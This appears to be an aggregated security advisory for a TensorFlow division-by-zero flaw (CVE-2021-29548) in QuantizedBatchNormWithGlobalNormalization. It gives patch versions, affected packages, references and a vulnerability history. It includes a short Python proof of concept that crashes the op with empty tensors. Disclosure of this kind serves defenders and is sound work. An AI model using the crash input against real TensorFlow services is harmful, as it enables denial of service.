Division by 0 in `QuantizedBatchNormWithGlobalNormalization`
Impact
An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:
import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)This is because the implementation does not validate all constraints specified in the op's contract.
Patches
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr
- https://nvd.nist.gov/vuln/detail/CVE-2021-29548
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-369- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-185 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-476 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-674 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-p45v-v4pw-77jr - CC BY 4.0
Vulnerability history: tensorflow-cpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 430
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 111
- Medium 208
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Division by 0 in `QuantizedBatchNormWithGlobalNormalization` this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.